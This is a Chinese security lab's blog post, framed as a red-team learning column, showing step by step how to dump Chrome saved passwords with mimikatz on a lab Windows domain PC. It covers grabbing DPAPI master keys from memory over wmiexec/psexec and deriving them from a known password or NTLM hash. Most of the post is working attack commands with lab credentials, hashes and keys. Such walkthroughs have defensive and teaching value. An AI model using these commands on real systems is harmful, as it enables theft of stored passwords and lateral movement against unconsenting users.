咨询服务热线

400-6446-808

创安实验室专栏
您的当前位置:首页 > 创安实验室专栏
使用mimikatz导出chrome密码
发布者:创信华通  发布时间:2022-08-01  浏览量:222次


写在前面

古语有云:“学如逆水行舟,不进则退。”面对如今随时都在变化的网络安全环境更是如此。为此,创信华通微信公众号特开设“渗透专栏”,以记录创信华通创安攻防实验室在渗透技术上的探索,加强同行间的交流,相互学习,共同进步。




使用mimikatz导出chrome密码

  2022.07.25




模拟场景

在获取某PC本地administrator的权限情况下,导出使用该PC机域普通账号的密码。

受害机ip:

192.168.3.4

受害机账户:


· 本地管理员:administrator/toor

· 域普通账户:beta\fengjie/qqq123!@#




加密机制简介

chrome储存的明文密码时使用windows提供的DPAPI进行对称加密来保证安全性。加解密的密钥称为master key。master key被用户登录密码、SID和16字节随机数加密后保存在Master Key file(%APPDATA%\Microsoft\Protect\%SID%)中。



最简单的情况:A用户拖A自己的密码

1

dpapi::chrome /in:'C:\Users\fengjie\AppData\Local\Google\Chromr\User

2

Data\Default\Login Data' /unprotect



在A用户登陆状态B解密A的chrome密码

在用户登陆状态下可以直接用procdump或者mimikatz直接从内存中获取master key。

1

privilege::debug

2

sekurlsa::dpapi

3


4

python wmiexec.py administrator:toor@192.168.3.4 'c:\users\public\mimikatz.exe "privilege::debug" "sekurlsa::dpapi" exit'


Alt text

获取到masterkey

1

0bf0be64d4dc768a543b3a12d7c5210d184c07a3861cad8f2bd8b7bbacc60fd0e06e955b6dad057d070d1ce3b2bb331fd8dbce6efad08808f1849e4f4ef26d80

1b81b1c9cb66a3f93b58f85948e8ce53779c6e5d   

2




接下来用mimikatz一把梭就可以了

1

python wmiexec.py administrator:toor@192.168.3.4 'cd c:\users\public && Minimimini64.exe "dpapi::chrome

/in:\"C:\Users\fengjie\AppData\Local\Google\Chrome\User Data\Default\Login Data\" /masterkey:1b81b1c9cb66a3f93b58f85948e8ce53779c6e5d" exit '



最开始用wmiexec并未解密成功

Alt text

后来发现是wmiexec的锅换成psexec就好了(用smbexec也可以,怀疑是因为用wmiexec时令牌完整性受限的原因,知道的师傅请教我一手)

Alt text


在A用户离线状态B解密A的chrome密码

现在用mimikatz重新抓已经抓不到fengjie的master key了

Alt text

用户明文密码已知


这种情况下有两种方法可以选择。

1.如果我们知道fengjie的明文密码,可以用runas降权(或者进行一些spwan的操作降权),降权之后又回到了最简单的情况。(因为runas需要交互式shell,所以这种方法比较鸡肋)

1

runas /user:fengjie@beta.com "cmd.exe"

2


3

mimikatz dpapi::chrome /in:”%localappdata%\Google\Chrome\User

Data\Default\Cookies” /unprotect


2.在没有交互式的情况下可以直接用mimikatz直接算出master key。

1

dpapi::masterkey 

/in:"c:\Users\fengjie\AppData\Roaming\Microsoft\Protect\S-1-5-21-2274946182-2013957047-1890316882-1632\59a94dbc-6dbb-4d51-bec0-edebc6f2e9f8"

/password:qqq123!@#


Alt text

拿到master key后情况又相当于又转换回了用户在线的情景。

用户明文密码未知,知道NTLM hash


1

dpapi::masterkey 

/in:"c:\Users\fengjie\AppData\Roaming\Microsoft\Protect\S-1-5-21-2274946182-2013957047-1890316882-1632\59a94dbc-6dbb-4d51-bec0-edebc6f2e9f8" 

/hash:632f6adad4510099d676724bfb87c6ee


Alt text




总结

简单的说就是三种情况:

A用户获取自己chrome密码不需要知道master key

A获取B用户,如果B用户在线,那么可以直接从内存中抓取出B的maste key

A获取B用户,B不在线,就需要用b用户的明文密码或者NTLM hash计算出master key,在回到上面一步。



本文由创信华通创安攻防实验室编辑。

本文仅限于个人学习和技术研究,由于传播、利用此文所提供的信息而造成刑事案件、非授权攻击等违法行为,均由使用者本人负责,本单位不为此承担任何责任。创安攻防实验室拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。


如有侵权,请联系后台。




创安攻防实验室

创安攻防实验室,是成都创信华通信息技术有限公司旗下的技术研究团队,成立于2021年9月,主要研究红蓝对抗、重大安全保障、应急响应等方向。

创安攻防实验室圆满完成了多次公安举办的重要网络安全保障和攻防演习活动,并积极参加各类网络安全竞赛,屡获殊荣。

创安攻防实验室秉承创信华通的发展理念,致力打造国内一流网络安全团队。


·END·



下一条:msf漏洞验证